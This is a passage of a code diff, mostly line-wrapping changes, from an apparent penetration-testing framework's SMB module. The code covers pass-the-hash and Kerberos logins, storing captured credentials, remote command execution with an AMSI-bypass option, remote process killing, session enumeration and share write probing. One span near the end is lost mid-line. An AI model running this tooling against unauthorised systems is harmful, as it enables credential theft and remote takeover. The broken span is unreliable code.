self.args.delegate_spn else None) + self.save_st( + tgs, sk, spn if self.args.delegate_spn else None) - self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) + self.conn.kerberosLogin(self.username, password, domain, + lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) if "Unix" not in self.server_os: self.check_if_admin() @@ -396,7 +422,8 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if not self.args.local_auth and self.username != "" and not self.args.delegate: add_user_bh(self.username, domain, self.logger, self.config) if self.admin_privs: - add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + add_user_bh(f"{self.hostname}$", domain, + self.logger, self.config) # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.args.continue_on_success and self.signing: @@ -440,15 +467,19 @@ def plaintext_login(self, domain, username, password): self.domain = domain self.conn.login(self.username, self.password, domain) - self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}") + self.logger.debug( + f"Logged in with password to SMB with {domain}/{self.username}") self.is_guest = bool(self.conn.isGuestSession()) self.logger.debug(f"{self.is_guest=}") if "Unix" not in self.server_os: self.check_if_admin() - self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") - self.db.add_credential("plaintext", domain, self.username, self.password) - user_id = self.db.get_credential("plaintext", domain, self.username, self.password) + self.logger.debug( + f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential("plaintext", domain, + self.username, self.password) + user_id = self.db.get_credential( + "plaintext", domain, self.username, self.password) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) @@ -456,11 +487,15 @@ def plaintext_login(self, domain, username, password): self.logger.success(out) if not self.args.local_auth and self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, + self.logger, self.config) if self.admin_privs: - self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}") - self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id) - add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + self.logger.debug( + f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}") + self.db.add_admin_user( + "plaintext", domain, self.username, self.password, self.host, user_id=user_id) + add_user_bh(f"{self.hostname}$", domain, + self.logger, self.config) # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.args.continue_on_success and self.signing: @@ -506,14 +541,16 @@ def hash_login(self, domain, username, ntlm_hash): self.nthash = nthash self.conn.login(self.username, "", domain, lmhash, nthash) - self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}") + self.logger.debug( + f"Logged in with hash to SMB with {domain}/{self.username}") self.is_guest = bool(self.conn.isGuestSession()) self.logger.debug(f"{self.is_guest=}") if "Unix" not in self.server_os: self.check_if_admin() self.db.add_credential("hash", domain, self.username, self.hash) - user_id = self.db.get_credential("hash", domain, self.username, self.hash) + user_id = self.db.get_credential( + "hash", domain, self.username, self.hash) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) @@ -521,10 +558,13 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.success(out) if not self.args.local_auth and self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, + self.logger, self.config) if self.admin_privs: - self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id) - add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + self.db.add_admin_user( + "hash", domain, self.username, nthash, self.host, user_id=user_id) + add_user_bh(f"{self.hostname}$", domain, + self.logger, self.config) # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.args.continue_on_success and self.signing: @@ -568,15 +608,18 @@ def create_smbv1_conn(self, check=False): self.logger.info(f"SMBv1 might be disabled on {self.host}") elif "timed out" in str(e): self.is_timed_out = True - self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}") + self.logger.debug( + f"Timeout creating SMBv1 connection to {self.host}") else: - self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") + self.logger.info( + f"Error creating SMBv1 connection to {self.host}: {e}") return False except NetBIOSError: self.logger.info(f"SMBv1 disabled on {self.host}") return False except (Exception, NetBIOSTimeout) as e: - self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") + self.logger.info( + f"Error creating SMBv1 connection to {self.host}: {e}") return False return True @@ -594,9 +637,11 @@ def create_smbv3_conn(self): except (Exception, NetBIOSTimeout, OSError) as e: if "timed out" in str(e): self.is_timed_out = True - self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}") + self.logger.debug( + f"Timeout creating SMBv3 connection to {self.host}") else: - self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") + self.logger.info( + f"Error creating SMBv3 connection to {self.host}: {e}") return False return True @@ -630,7 +675,8 @@ def check_if_admin(self): if self.args.no_admin_check: return self.logger.debug(f"Checking if user is admin on {self.host}") - rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn) + rpctransport = SMBTransport( + self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn) dce = rpctransport.get_dce_rpc() try: dce.connect() @@ -642,14 +688,16 @@ def check_if_admin(self): try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - scmrobj = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F) + scmrobj = scmr.hROpenSCManagerW( + dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F) scmr.hREnumServicesStatusW(dce, scmrobj["lpScHandle"]) self.logger.debug(f"User is admin on {self.host}!") self.admin_privs = True except scmr.DCERPCException: self.admin_privs = False except Exception as e: - self.logger.fail(f"Error checking if user is admin on {self.host}: {e}") + self.logger.fail( + f"Error checking if user is admin on {self.host}: {e}") self.admin_privs = False def gen_relay_list(self): @@ -672,7 +720,8 @@ def save_st(self, st, sk, new_spn=None): if new_spn: # there is a new principal, likely from tampering the SPN during S4U2proxy realm = get_realm_from_ticket(st) - principal = Principal(f"{new_spn}@{realm}", type=constants.PrincipalNameType.NT_SRV_INST.value) + principal = Principal( + f"{new_spn}@{realm}", type=constants.PrincipalNameType.NT_SRV_INST.value) self.logger.debug(f"Using principal {principal} for ST") ccache.credentials[0]["server"].fromPrincipal(principal) @@ -681,8 +730,10 @@ def save_st(self, st, sk, new_spn=None): self.logger.success(f"Saved ST to {st_file}") def generate_tgt(self): - self.logger.info(f"Attempting to get TGT for {self.username}@{self.domain}") - userName = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + self.logger.info( + f"Attempting to get TGT for {self.username}@{self.domain}") + userName = Principal( + self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( @@ -695,7 +746,8 @@ def generate_tgt(self): kdcHost=self.kdcHost ) - self.logger.debug(f"TGT successfully obtained for {self.username}@{self.domain}") + self.logger.debug( + f"TGT successfully obtained for {self.username}@{self.domain}") self.logger.debug(f"Using cipher: {cipher}") ccache = CCache() @@ -704,14 +756,16 @@ def generate_tgt(self): ccache.saveFile(tgt_file) self.logger.success(f"TGT saved to: {tgt_file}") - self.logger.success(f"Run the following command to use the TGT: export KRB5CCNAME={tgt_file}") + self.logger.success( + f"Run the following command to use the TGT: export KRB5CCNAME={tgt_file}") except Exception as e: self.logger.fail(f"Failed to get TGT: {e}") def check_dc_ports(self, timeout=1): """Check multiple DC-specific ports in case first check fails""" import socket - dc_ports = [88, 389, 636, 3268, 9389] # Kerberos, LDAP, LDAPS, Global Catalog, ADWS + # Kerberos, LDAP, LDAPS, Global Catalog, ADWS + dc_ports = [88, 389, 636, 3268, 9389] open_ports = 0 for port in dc_ports: @@ -735,15 +789,19 @@ def is_host_dc(self): # First check if port 135 is open if self._is_port_open(135): - self.logger.debug("Port 135 is open, attempting MSRPC connection...") + self.logger.debug( + "Port 135 is open, attempting MSRPC connection...") try: - epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") + epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, + protocol="ncacn_ip_tcp") self.isdc = True return True except DCERPCException: - self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!") + self.logger.debug( + "Error while connecting to host: DCERPCException, which means this is probably not a DC!") except TimeoutError: - self.logger.debug("Timeout while connecting to host: likely not a DC or host is unreachable.") + self.logger.debug( + "Timeout while connecting to host: likely not a DC or host is unreachable.") except Exception as e: self.logger.debug(f"Error while connecting to host: {e}") self.isdc = False @@ -752,7 +810,8 @@ def is_host_dc(self): self.logger.debug("Port 135 is closed, skipping MSRPC check...") # Fallback to checking DC ports if self.check_dc_ports(): - self.logger.debug("Host appears to be a DC (multiple DC ports open)") + self.logger.debug( + "Host appears to be a DC (multiple DC ports open)") self.isdc = True return True @@ -765,7 +824,8 @@ def _is_port_open(self, port, timeout=1): result = sock.connect_ex((self.host, port)) return result == 0 except Exception as e: - self.logger.debug(f"Error checking port {port} on {self.host}: {e}") + self.logger.debug( + f"Error checking port {port} on {self.host}: {e}") return False def trigger_winreg(self): @@ -786,12 +846,14 @@ def trigger_winreg(self): if "STATUS_PIPE_NOT_AVAILABLE" not in str(e): raise else: - self.logger.debug(f"Received expected error while triggering winreg: {e}") + self.logger.debug( + f"Received expected error while triggering winreg: {e}") # Give remote registry time to start sleep(1) return True except (SessionError, BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e: - self.logger.debug(f"Received unexpected error while triggering winreg: {e}") + self.logger.debug( + f"Received unexpected error while triggering winreg: {e}") return False @requires_admin @@ -844,14 +906,16 @@ def execute(self, payload=None, get_output=False, methods=None) -> str: self.logger.info("Executed command via wmiexec") break except Exception: - self.logger.debug("Error executing command via wmiexec, traceback:") + self.logger.debug( + "Error executing command via wmiexec, traceback:") self.logger.debug(format_exc()) continue elif method == "mmcexec": try: # https://github.com/fortra/impacket/issues/1611 if self.kerberos: - raise Exception("MMCExec current is buggly with kerberos") + raise Exception( + "MMCExec current is buggly with kerberos") exec_method = MMCEXEC( self.remoteName, self.smb_share_name, @@ -872,7 +936,8 @@ def execute(self, payload=None, get_output=False, methods=None) -> str: self.logger.info("Executed command via mmcexec") break except Exception: - self.logger.debug("Error executing command via mmcexec, traceback:") + self.logger.debug( + "Error executing command via mmcexec, traceback:") self.logger.debug(format_exc()) continue elif method == "atexec": @@ -895,7 +960,8 @@ def execute(self, payload=None, get_output=False, methods=None) -> str: self.logger.info("Executed command via atexec") break except Exception: - self.logger.debug("Error executing command via atexec, traceback:") + self.logger.debug( + "Error executing command via atexec, traceback:") self.logger.debug(format_exc()) continue elif method == "smbexec": @@ -920,7 +986,8 @@ def execute(self, payload=None, get_output=False, methods=None) -> str: self.logger.info("Executed command via smbexec") break except Exception: - self.logger.debug("Error executing command via smbexec, traceback:") + self.logger.debug( + "Error executing command via smbexec, traceback:") self.logger.debug(format_exc()) continue @@ -933,11 +1000,13 @@ def execute(self, payload=None, get_output=False, methods=None) -> str: if not isinstance(output, str): output = output.decode(self.args.codec) except UnicodeDecodeError: - self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") + self.logger.debug( + "Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") output = output.decode("cp437") self.logger.debug(f"Raw Output: {output}") - output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()]) + output = "\n".join([ll.rstrip() + for ll in output.splitlines() if ll.strip()]) self.logger.debug(f"Cleaned Output: {output}") if "This script contains malicious content" in output: @@ -982,16 +1051,19 @@ def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=Fa force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32 get_output = True if not self.args.no_output else get_output - self.logger.debug(f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}") + self.logger.debug( + f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}") amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None self.logger.debug(f"AMSI Bypass: {amsi_bypass}") if os.path.isfile(payload): self.logger.debug(f"File payload set: {payload}") with open(payload) as commands: - response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands] + response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, + custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands] else: - response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)] + response = [self.execute(create_ps_command( + payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)] self.logger.debug(f"ps_execute response: {response}") return response @@ -999,12 +1071,14 @@ def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=Fa def get_session_list(self): with TSTS.TermSrvEnumeration(self.conn, self.host, self.kerberos) as lsm: handle = lsm.hRpcOpenEnum() - rsessions = lsm.hRpcGetEnumResult(handle, Level=1)["ppSessionEnumResult"] + rsessions = lsm.hRpcGetEnumResult(handle, Level=1)[ + "ppSessionEnumResult"] lsm.hRpcCloseEnum(handle) sessions = {} for i in rsessions: sess = i["SessionInfo"]["SessionEnum_Level1"] - state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1] + state = TSTS.enum2value( + TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1] sessions[sess["SessionId"]] = { "state": state, "SessionName": sess["Name"], @@ -1021,8 +1095,10 @@ def enumerate_sessions_info(self, sessions): if len(sessions): with TSTS.TermSrvSession(self.conn, self.host, self.kerberos) as TermSrvSession: for SessionId in sessions: - sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) - sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"]) + sessdata = TermSrvSession.hRpcGetSessionInformationEx( + SessionId) + sessflags = TSTS.enum2value( + TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"]) sessions[SessionId]["flags"] = sessflags domain = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DomainName"] if not len(sessions[SessionId]["Domain"]) and len(domain): @@ -1044,9 +1120,11 @@ def enumerate_sessions_info(self, sessions): continue sessions[SessionId]["RemoteIp"] = client["pRemoteAddress"]["ipv4"]["in_addr"] except Exception as e: - self.logger.debug(f"Error getting client address for session {SessionId}: {e}") + self.logger.debug( + f"Error getting client address for session {SessionId}: {e}") except SessionError: - self.logger.fail("RDP is probably not enabled, cannot list remote IPv4 addresses.") + self.logger.fail( + "RDP is probably not enabled, cannot list remote IPv4 addresses.") @requires_admin def taskkill(self): @@ -1060,15 +1138,18 @@ def taskkill(self): self.logger.error("Could not get process list") return - pidList = [i["UniqueProcessId"] for i in res if i["ImageName"].lower() == self.args.taskkill.lower()] + pidList = [i["UniqueProcessId"] for i in res if i["ImageName"].lower( + ) == self.args.taskkill.lower()] if not pidList: - self.logger.fail(f"Could not find process named {self.args.taskkill}") + self.logger.fail( + f"Could not find process named {self.args.taskkill}") return for pid in pidList: try: if legacy.hRpcWinStationTerminateProcess(handle, pid)["ErrorCode"]: - self.logger.highlight(f"Terminated PID {pid} ({self.args.taskkill})") + self.logger.highlight( + f"Terminated PID {pid} ({self.args.taskkill})") else: self.logger.fail(f"Failed terminating PID {pid}") except Exception as e: @@ -1089,9 +1170,11 @@ def qwinsta(self): self.enumerate_sessions_info(sessions) # Calculate max lengths for formatting - maxSessionNameLen = max(len(sessions[i]["SessionName"]) + 1 for i in sessions) + maxSessionNameLen = max( + len(sessions[i]["SessionName"]) + 1 for i in sessions) maxSessionNameLen = max(maxSessionNameLen, len("SESSIONNAME") + 1) - maxUsernameLen = max(len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions) + 1 + maxUsernameLen = max( + len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions) + 1 maxUsernameLen = max(maxUsernameLen, len("USERNAME") + 1) maxIdLen = max(len(str(i)) for i in sessions) maxIdLen = max(maxIdLen, len("ID") + 1) @@ -1135,7 +1218,8 @@ def qwinsta(self): arg = self.args.qwinsta if os.path.isfile(arg): with open(arg) as f: - usernames = [line.strip().lower() for line in f if line.strip()] + usernames = [line.strip().lower() + for line in f if line.strip()] else: usernames = [arg.lower()] @@ -1149,10 +1233,12 @@ def qwinsta(self): continue connectTime = sessions[i]["ConnectTime"] - connectTime = connectTime.strftime(r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None" + connectTime = connectTime.strftime( + r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None" disconnectTime = sessions[i]["DisconnectTime"] - disconnectTime = disconnectTime.strftime(r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None" + disconnectTime = disconnectTime.strftime( + r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None" row = template.format( SESSIONNAME=sessions[i]["SessionName"], @@ -1190,7 +1276,8 @@ def format_row(procInfo): res = legacy.hRpcWinStationGetAllProcesses(handle) except Exception as e: # TODO: Issue https://github.com/fortra/impacket/issues/1816 - self.logger.debug(f"Exception while calling hRpcWinStationGetAllProcesses: {e}") + self.logger.debug( + f"Exception while calling hRpcWinStationGetAllProcesses: {e}") return if not res: return @@ -1198,8 +1285,10 @@ def format_row(procInfo): maxImageNameLen = max(len(i["ImageName"]) for i in res) maxSidLen = max(len(i["pSid"]) for i in res) template = f"{{: <{maxImageNameLen}}} {{: <8}} {{: <11}} {{: <{maxSidLen}}} {{: >12}}" - self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) - self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) + self.logger.highlight(template.format( + "Image Name", "PID", "Session#", "SID", "Mem Usage")) + self.logger.highlight(template.replace( + ": ", ":=").format("", "", "", "", "")) found_task = False # For each process on the remote host @@ -1216,10 +1305,12 @@ def format_row(procInfo): # If a process was suppliad to args.tasklist and it was not found, we print a fail message if self.args.tasklist is not True and not found_task: - self.logger.fail(f"Didn't find process {self.args.tasklist}") + self.logger.fail( + f"Didn't find process {self.args.tasklist}") except SessionError: - self.logger.fail("Cannot list remote tasks, RDP is probably disabled.") + self.logger.fail( + "Cannot list remote tasks, RDP is probably disabled.") def reg_sessions(self): @@ -1228,15 +1319,18 @@ def output(sessions): # Calculate max lengths for formatting maxSidLen = max(len(key) + 1 for key in sessions) maxSidLen = max(maxSidLen, len("SID") + 1) - maxUsernameLen = max(len(str(vals["Username"]) + str(vals["Domain"])) + 1 for vals in sessions.values()) + 1 + maxUsernameLen = max(len(str( + vals["Username"]) + str(vals["Domain"])) + 1 for vals in sessions.values()) + 1 maxUsernameLen = max(maxUsernameLen, len("USERNAME") + 1) # Create the template for formatting - template = (f"{{USERNAME: <{maxUsernameLen}}} {{SID: <{maxSidLen}}}") + template = ( + f"{{USERNAME: <{maxUsernameLen}}} {{SID: <{maxSidLen}}}") # Create headers header = template.format(USERNAME="USERNAME", SID="SID") - header2 = template.replace(" <", "=<").format(USERNAME="", SID="") + header2 = template.replace( + " <", "=<").format(USERNAME="", SID="") # Store result result = [header, header2] @@ -1253,10 +1347,12 @@ def output(sessions): for row in result: self.logger.highlight(row) else: - self.logger.info(f"No active session found for specified user(s) using the Remote Registry service on {self.hostname}.") + self.logger.info( + f"No active session found for specified user(s) using the Remote Registry service on {self.hostname}.") # Bind to the Remote Registry Pipe - rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\winreg", smb_connection=self.conn) + rpctransport = transport.SMBTransport(self.conn.getRemoteName( + ), self.conn.getRemoteHost(), filename=r"\winreg", smb_connection=self.conn) for binding_attempts in range(2, 0, -1): dce = rpctransport.get_dce_rpc() try: @@ -1264,9 +1360,11 @@ def output(sessions): dce.bind(rrp.MSRPC_UUID_RRP) break except SessionError as e: - self.logger.debug(f"Could not bind to the Remote Registry on {self.hostname}: {e}") + self.logger.debug( + f"Could not bind to the Remote Registry on {self.hostname}: {e}") if binding_attempts == 1: # Last attempt - self.logger.info(f"The Remote Registry service seems to be disabled on {self.hostname}.") + self.logger.info( + f"The Remote Registry service seems to be disabled on {self.hostname}.") return # STATUS_PIPE_NOT_AVAILABLE : Waiting 1 second for the service to start (if idle and set to 'Automatic' startup type) sleep(1) @@ -1276,12 +1374,15 @@ def output(sessions): resp = rrp.hOpenUsers(dce) except DCERPCException as e: if "rpc_s_access_denied" in str(e).lower(): - self.logger.info(f"Access denied while enumerating session using the Remote Registry on {self.hostname}.") + self.logger.info( + f"Access denied while enumerating session using the Remote Registry on {self.hostname}.") return else: - self.logger.fail(f"Exception connecting to RPC on {self.hostname}: {e}") + self.logger.fail( + f"Exception connecting to RPC on {self.hostname}: {e}") except Exception as e: - self.logger.fail(f"Exception connecting to RPC on {self.hostname}: {e}") + self.logger.fail( + f"Exception connecting to RPC on {self.hostname}: {e}") # Enumerate HKU subkeys and recover SIDs sid_filter = "^S-1-.*\\d$" @@ -1296,39 +1397,47 @@ def output(sessions): resp = rrp.hBaseRegEnumKey(dce, key_handle, index) sid = resp["lpNameOut"].rstrip("\0") if re.match(sid_filter, sid) and sid not in exclude_sid: - self.logger.info(f"User with SID {sid} is logged in on {self.hostname}") + self.logger.info( + f"User with SID {sid} is logged in on {self.hostname}") sessions.setdefault(sid, {"Username": "", "Domain": ""}) index += 1 except rrp.DCERPCSessionError as e: if "ERROR_NO_MORE_ITEMS" in str(e): - self.logger.debug(f"No more items found in HKU on {self.hostname}.") + self.logger.debug( + f"No more items found in HKU on {self.hostname}.") break else: - self.logger.fail(f"Error enumerating HKU subkeys on {self.hostname}: {e}") + self.logger.fail( + f"Error enumerating HKU subkeys on {self.hostname}: {e}") break rrp.hBaseRegCloseKey(dce, key_handle) dce.disconnect() if not sessions: - self.logger.info(f"No sessions found via the Remote Registry service on {self.hostname}.") + self.logger.info( + f"No sessions found via the Remote Registry service on {self.hostname}.") return # Bind to the LSARPC Pipe for SID resolution - rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\lsarpc", smb_connection=self.conn) + rpctransport = transport.SMBTransport(self.conn.getRemoteName( + ), self.conn.getRemoteHost(), filename=r"\lsarpc", smb_connection=self.conn) dce = rpctransport.get_dce_rpc() try: dce.connect() dce.bind(lsat.MSRPC_UUID_LSAT) except Exception as e: - self.logger.debug(f"Failed to connect to LSARPC for SID resolution on {self.hostname}: {e}") + self.logger.debug( + f"Failed to connect to LSARPC for SID resolution on {self.hostname}: {e}") output(sessions) return # Resolve SIDs with names - policy_handle = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)["PolicyHandle"] + policy_handle = lsad.hLsarOpenPolicy2( + dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)["PolicyHandle"] try: - resp = lsat.hLsarLookupSids(dce, policy_handle, sessions.keys(), lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) + resp = lsat.hLsarLookupSids( + dce, policy_handle, sessions.keys(), lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) except DCERPCException as e: if str(e).find("STATUS_SOME_NOT_MAPPED") >= 0: resp = e.get_packet() @@ -1348,7 +1457,8 @@ def output(sessions): arg = self.args.reg_sessions if os.path.isfile(arg): with open(arg) as f: - usernames = [line.strip().lower() for line in f if line.strip()] + usernames = [line.strip().lower() + for line in f if line.strip()] else: usernames = [arg.lower()] @@ -1370,7 +1480,8 @@ def shares(self): try: self.logger.debug(f"domain: {self.domain}") - user_id = self.db.get_user(self.domain.upper(), self.username)[0][0] + user_id = self.db.get_user( + self.domain.upper(), self.username)[0][0] except IndexError as e: if self.kerberos or self.username == "": pass @@ -1408,7 +1519,8 @@ def shares(self): continue share_remark = share["shi1_remark"][:-1] - share_info = {"name": share_name, "remark": share_remark, "access": []} + share_info = {"name": share_name, + "remark": share_remark, "access": []} read = False write = False write_dir = False @@ -1419,19 +1531,23 @@ def shares(self): share_info["access"].append("READ") except SessionError as e: error = get_error_string(e) - self.logger.debug(f"Error checking READ access on share {share_name}: {error}") + self.logger.debug( + f"Error checking READ access on share {share_name}: {error}") except (NetBIOSError, UnicodeEncodeError) as e: write_check = False share_info["access"].append("UNKNOWN (try '--no-smbv1')") error = get_error_string(e) - self.logger.debug(f"Error checking READ access on share {share_name}: {error}. This exception always caused by special character in share name with SMBv1") - self.logger.info(f"Skipping WRITE permission check on share {share_name}") + self.logger.debug( + f"Error checking READ access on share {share_name}: {error}. This exception always caused by special character in share name with SMBv1") + self.logger.info( + f"Skipping WRITE permission check on share {share_name}") if write_check: try: self.conn.createDirectory(share_name, temp_dir) write_dir = True - self.logger.debug(f"WRITE access with DIR creation on share: {share_name}") + self.logger.debug( + f"WRITE access with DIR creation on share: {share_name}") try: self.conn.deleteDirectory(share_name, temp_dir) except SessionError as e: @@ -1439,17 +1555,21 @@ def shares(self): if error == "STATUS_OBJECT_NAME_NOT_FOUND": pass else: - self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}") + self.logger.debug( + f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}") except SessionError as e: error = get_error_string(e) - self.logger.debug(f"Error checking WRITE access with DIR creation on share {share_name}: {error}") + self.logger.debug( + f"Error checking WRITE access with DIR creation on share {share_name}: {error}") try: tid = self.conn.connectTree(share_name) - fid = self.conn.createFile(tid, temp_file, desiredAccess=FILE_SHARE_WRITE, shareMode=FILE_SHARE_DELETE) + fid = self.conn.createFile( + tid, temp_file, desiredAccess=FILE_SHARE_WRITE, shareMode=FILE_SHARE_DELETE) self.conn.closeFile(tid, fid) write_file = True - self.logger.debug(f"WRITE access with FILE creation on share: {share_name}") + self.logger.debug( + f"WRITE access with FILE creation on share: {share_name}") try: self.conn.deleteFile(share_name, temp_file) except SessionError as e: @@ -1457,10 +1577,12 @@ def shares(self): if error == "STATUS_OBJECT_NAME_NOT_FOUND": pass else: - self.logger.debug(f"Error DELETING created temp file {temp_file} on share {share_name}") + self.logger.debug( + f"Error DELETING created temp file {temp_file} on share {share_name}") except SessionError as e: error = get_error_string(e) - self.logger.debug(f"Error checking WRITE access with FILE creation on share {share_name}: {error}") + self.logger.debug( + f"Error checking WRITE access with FILE creation on share {share_name}: {error}") # If we either can create a file or a directory we add the write privs to the output. Agreed on in https://github.com/Pennyw0rth/NetExec/pull/404 if write_dir or write_file: @@ -1472,13 +1594,15 @@ def shares(self): if share_name != "IPC$": try: # TODO: check if this already exists in DB before adding - self.db.add_share(self.hostname, user_id, share_name, share_remark, read, write) + self.db.add_share(self.hostname, user_id, + share_name, share_remark, read, write) except Exception as e: error = get_error_string(e) self.logger.debug(f"Error adding share: {error}") if self.args.filter_shares: - self.logger.display("[REMOVED] Use the --shares read,write options instead.") + self.logger.display( + "[REMOVED] Use the --shares read,write options instead.") self.logger.display("Enumerated shares") self.logger.highlight(f"{'Share':<15} {'Permissions':<15} {'Remark'}") @@ -1508,11 +1632,14 @@ def dir(self): if not contents: return - self.logger.highlight(f"{'Perms':<9}{'File Size':<15}{'Date':<30}{'File Path':<45}") - self.logger.highlight(f"{'-----':<9}{'---------':<15}{'----':<30}{'---------':<45}") + self.logger.highlight( + f"{'Perms':<9}{'File Size':<15}{'Date':<30}{'File Path':<45}") + self.logger.highlight( + f"{'-----':<9}{'---------':<15}{'----':<30}{'---------':<45}") for content in contents: full_path = ntpath.join(self.args.dir, content.get_longname()) - self.logger.highlight(f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}") + self.logger.highlight( + f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}") def interfaces(self): """ @@ -1550,13 +1677,18 @@ def interfaces(self): while offset < len(response) and offset + 152 <= len(response): try: # Parse NETWORK_INTERFACE_INFO structure - next_offset = struct.unpack("' for filtering") + self.logger.fail( + "[REMOVED] Use option '--loggedon-users ' for filtering") logged_on = set() try: - rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\wkssvc", smb_connection=self.conn) + rpctransport = transport.SMBTransport(self.conn.getRemoteName( + ), self.conn.getRemoteHost(), filename=r"\wkssvc", smb_connection=self.conn) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(wkst.MSRPC_UUID_WKST) response = wkst.hNetrWkstaUserEnum(dce, 1) for user in response["UserInfo"]["WkstaUserInfo"]["Level1"]["Buffer"]: - user_info = (user["wkui1_logon_domain"][:-1], user["wkui1_username"][:-1], user["wkui1_logon_server"][:-1]) + user_info = (user["wkui1_logon_domain"][:-1], + user["wkui1_username"][:-1], user["wkui1_logon_server"][:-1]) if user_info not in logged_on: logged_on.add(user_info) if self.args.loggedon_users: if re.match(self.args.loggedon_users, user_info[1]): - self.logger.highlight(f"{user_info[0]}\\{user_info[1]:<25} logon_server: {user_info[2]}") + self.logger.highlight( + f"{user_info[0]}\\{user_info[1]:<25} logon_server: {user_info[2]}") else: - self.logger.highlight(f"{user_info[0]}\\{user_info[1]:<25} logon_server: 